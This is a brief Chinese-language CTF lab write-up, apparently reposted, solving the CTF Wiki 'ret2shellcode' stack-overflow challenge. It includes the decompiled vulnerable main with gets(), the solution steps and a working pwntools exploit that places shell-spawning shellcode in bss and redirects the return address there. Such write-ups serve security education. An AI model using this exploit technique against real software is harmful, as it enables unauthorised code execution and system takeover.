[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode相关的知识,希望对你有一定的参考价值。
1、检查保护机制
checksec的结果:
2、IDA分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(v4);
strncpy(buf2, v4, 0x64u);
printf("bye bye ~");
return 0;
}
buf2在bss段:
3、解题思路
将shellcode写入buf2,并执行。
**第一步:**gdb调试,对照ida中buf2的地址,看bss段可读可写可执行。
**第二步:**计算return address的位置(过程略)。
4、exp
exp为:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
这里使用了一个python的函数,该函数的功能是shellcode左对齐,不足112字节的填充字符A。
以上是关于[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode的主要内容,如果未能解决你的问题,请参考以下文章
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode
[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall